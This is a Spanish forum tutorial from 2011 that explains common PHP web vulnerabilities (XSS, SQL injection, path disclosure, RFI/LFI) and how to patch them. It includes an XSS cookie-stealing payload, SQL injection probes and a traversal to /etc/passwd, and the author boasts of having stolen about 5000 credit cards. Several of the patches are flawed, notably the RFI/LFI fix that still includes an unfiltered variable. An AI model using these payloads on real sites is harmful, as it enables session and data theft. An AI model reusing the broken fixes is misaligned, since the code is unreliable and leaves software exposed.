Seguridad y Proteccion a nivel web. [Version I] [Explicado]

Iniciado por Xt3mP, Enero 27, 2011, 09:21:35 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Proteccion y seguridad a nivel web, version 1.

Punto es: explicar "PORQUE" existe o se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.

Cabe mencionar que no explicare ni dire todas las vulnerabilidades a nivel web por tres razones:

1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perderia el toque, en proximas versiones tal vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.

Por lo que solo explicare las mas "comunes/tipicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denomina XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyeccion de codigo "script/scripting" en alguna variable tanto POST como GET.

HTML Injection (Inyeccion HTML), la vulnerabilidad se explota mediante la inyeccion de codigo (principalmente HTML) en alguna variable tanto POST como GET.

¿Que tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).

Puse las dos juntas en el mismo subtitulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomare de ejemplo el siguiente "buscador":

Código: php

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>


Entonces, ¿Como se parcharian estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyeccion y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);

Pueden utilizar cualquiera

Podemos hacerlo directamente:
Código: php

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border="0"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>


Generalmente se utiliza una inyeccion HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, asi que les dare solo un breve ejemplo de un robo de cookies:

Nota: No explicare mediante codigo esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.

Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un codigo que al ser enviado (en este caso a un supuesto administrador) y dar click en el enlace, automaticamente se envia un correo (esto depende de la pagina atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesion nuestra por la que obtuvimos por el administrador y listo, sesion de Administrador robada:

Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<script>window.location=?No tienes permitido ver los links. Registrarse o Entrar a mi cuenta? document.cookie</script>

Ya solo es cuestion de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo seria cuestion de disfrazar y meterle ingenieria social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, asi que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyeccion SQL (Structured Query Language)], se caracteriza por no filtrar la peticion a la base de datos conllevando con esta, un error en la implementacion del valor a "pedir" y asi exponiendo el codigo, es decir, que gracias a una mala estructuracion/programacion del codigo para hacer una peticion (no filtrar las variables) se puede explotar dejando asi toda la base de datos a la vista del atacante.

Aqui entra algo de polemica, la mayoria solo cree que una inyeccion SQL siempre sera: -1 SELECT UNION 1,2--, pero no, existen muchos tipos de inyecciones SQL pero en este caso indicaremos como parchar la "tipica".

Un ejemplo de una mala estructuracion es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1
*/
?>


Daria error, entonces al intentar acceder como (-1 UNION SELECT 1) daria:
Citar
The used SELECT statements have a different number of columns

Entonces asi podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logre obtener cerca de 5000 tarjetas de credito).

Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala peticion en el codigo, entonces asi como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este seria el codigo:

Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>


¿Que hacemos? Incluimos la conexion a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es numerico el ID, hacemos la peticion filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es numerico y no existe la noticia te marcara un error (echo...).
Asi de sencillo parchamos (mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el codigo te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:

Suponiendo que nuestra pagina tiene un link para descargar los archivos que nosotros indiquemos, algo como:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces como vemos hace un "query" practicamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tal vez conozcas (.. , ., etc) para recorrer o avanzar directorios, quedaria algo asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Citar
Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5

Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comunmente busca el archivo /etc/passwd por default, entonces la url quedaria:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntaras, ¿Pero en que nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se nos descargaria el "Script" completo del admin y seria cuestion de ir jugando con los archivos para ver que otras vulnerabilidades tienen.

¿Como parchar? Para wordpress existe (este codigo no es mio, pero esta muy conocido en la red):

Citarif(function_exists('add_action')){
[...]
}

Y por mi parte las recomendaciones serian:

1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, o bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" seria preferible que mejor pongan:
2.1- Descargas directas: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
2.2- Hacer un array o switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviacion como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script asi, pueden implementar un codigo mas o menos de esta manera para fijar el directorio en una carpeta en especifico y comprobar la existencia de este, claro esta, tambien sustituimos los caracteres (".","/") que son los usuales en estos casos:

Código: php

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="$file"n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluir archivos remotamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluir archivos localmente en el servidor.

Estas vulnerabilidades antes eran muy tipica, pero conforme PHP fue avanzando de version fueron "mas dificiles" encontrarnos con una.
Lo explicare brevemente ya que es parecido lo mismo que Full Path Disclosure.

Para RFI:
Suponiendo que tenemos una pagina llamada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y tenemos un codigo parecido a este:
Código: php

<?php
$file = $_GET['path'];
include ($path);
?>


Como se observa, incluimos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por que les puede perjudicar?
Si yo en su pagina hago No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ¿Que pasaria? Se incluiria en su pagina mi script malicioso y tendria acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su pagina (cosa que nunca hago).

Para LFI:
Suponiendo que tenemos la misma pagina, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
Código: php

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Aqui pasariamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algun archivo vulnerable y comenzar a atacar.

¿Como parcharlo?
Esta manera que explicare sera para las dos vulnerabilidades:
Código: php

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Como se observa, se utiliza "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestion de que analizen su codigo linea por linea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les dare un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada pagina" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:

Código: php

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file)
}
?>


4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:

Código: php

<?php
$file = @fopen('index.php','a ');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>


5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la proxima version hablare sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo o escribe algo mal fue porque lo escribo continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
Cada vez que me das Karma me motivas


Espero te sirva y lo leas completo.
Cada vez que me das Karma me motivas